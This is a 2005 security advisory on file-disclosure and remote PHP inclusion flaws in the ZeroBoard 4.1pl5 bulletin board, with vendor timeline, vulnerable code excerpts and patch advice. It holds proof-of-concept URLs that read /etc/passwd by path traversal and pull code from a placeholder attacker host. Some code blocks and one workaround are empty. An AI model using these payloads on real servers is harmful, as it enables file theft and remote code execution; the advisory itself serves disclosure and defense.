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ZeroBoard multiple vulns



STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities



STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities



Revision 1.1

Date Published: 2004-12-31 (KST)

Last Update: 2005-1-13

Disclosed by SSR Team (advisory@stgsecurity.com) 



Summary

=======

ZeroBoard is one of widely used web BBS applications in Korea. However, an

input validation flaw can cause malicious attackers to run arbitrary

commands with the privilege of the HTTPD process, which is typically run as

the nobody user.





Vulnerability Class

===================

Implementation Error: Input validation flaw



Impact

======

High : arbitrary commands execution.



Affected Products

================

ZeroBoard 4.1pl5 and prior



Vendor Status: NOT FIXED

========================

2004-12-31 Vulnerabilities found.

2005-01-01 vendor contact, but he didn't replied.

2005-01-10 STG Security, Inc. customers notified.

2004-01-13 Official release.



Details

=======

Vulnerability 1 : File disclosure vulnerability

- - - ------------------------------------

- - - - Proof of concept

http://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00 

http://[victim]/include/write.php?dir=../../../../../etc/passwd%00 

http://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00 



- - - - Environment

php.ini: magic_quotes_gpc = off

outlogin.php is only vulnerable on PHP 5.x.



- - - - Description

PHP has a feature discarding the input values containing null characters

when magic_quotes_gpc = off



- - - - Part of vulnerable source, _head.php.

- - - ----

if(eregi(":\/\/",$_zb_path)) $_zb_path="";

include $_zb_path."lib.php";}

- - - ----



- - - - Part of vulnerable source, include/write.php.

- - - ----

if(eregi(":\/\/",$dir)) $dir=".";

include $dir."/write.php";

- - - ----



- - - - Part of vulnerable source, outlogin.php.

- - - ----

if(eregi(":\/\/",$_zb_path)) $_zb_path="./";

   [snip]

@include $_zb_path."_head.php";

- - - ----



Vulnerability 2 : PHP source injection vulnerability

- - - ------------------------------------

- - - - Proof of concept

http://[victim]/include/print_category.php?setup[use_category]=1&dir=h ttp://

[attacker]/





- - - - Environment

php.ini: register_globals = On, allow_url_fopen = On



- - - - Reason

Uninitialized $dir variable in print_category.php





- - - - Part of vulnerable source, include/print_category.php

- - - ----

include "$dir/category_head.php";

- - - ----



Vulnerability 3 : PHP source injection vulnerability

- - - --------------------------------------

- - - - Proof of concept

http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/ 

http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/ 

http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/ 

http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/ 



- - - - Environment

php.ini: allow_url_fopen = On



- - - - Reason

Uninitialized $dir variables in login.php, setup.php, ask_password,php and

error.php.



- - - - Part of vulnerable source, skin/zero_vote/login.php

- - - ----



- - - ----



- - - - Part of vulnerable source, skin/zero_vote/setup.php

- - - ----



- - - ----



- - - - Part of vulnerable source, skin/zero_vote/ask_password.php

- - - ----



- - - ----



- - - - Part of vulnerable source, skin/zero_vote/error.php

- - - ----



- - - ----



Workaround

==========

Without official patches of these vulnerabilities, modify the vulnerable

sources as following recommendations.



Vulnerability 1: As of zboard 4.1pl5

- - - ----------------------------

Modify the 13rd line of _head.php as following:

if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="";



Modify the 16th line of include/write.php as following:

if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";



Modify the 50th line of outlogin.php as following:

if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";



Vulnerability 2: As of zboard 4.1pl5

- - - ----------------------------

Insert the following code at the 3rd line of include/print_category.php,

if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";





Vulnerability 3: As of zboard 4.1pl5

- - - ----------------------------

Modify the 1st line of skin/zero_vote/login.php, the 42nd line of

skin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php,

and the 1st line of skin/zero_vote/error.php as following:







Credits

======

Jeremy Bae at STG Security for Vulnerability 1 and 2.

A Korean security community member for Vulnerability 3 which has been

unofficially released since March 2004.



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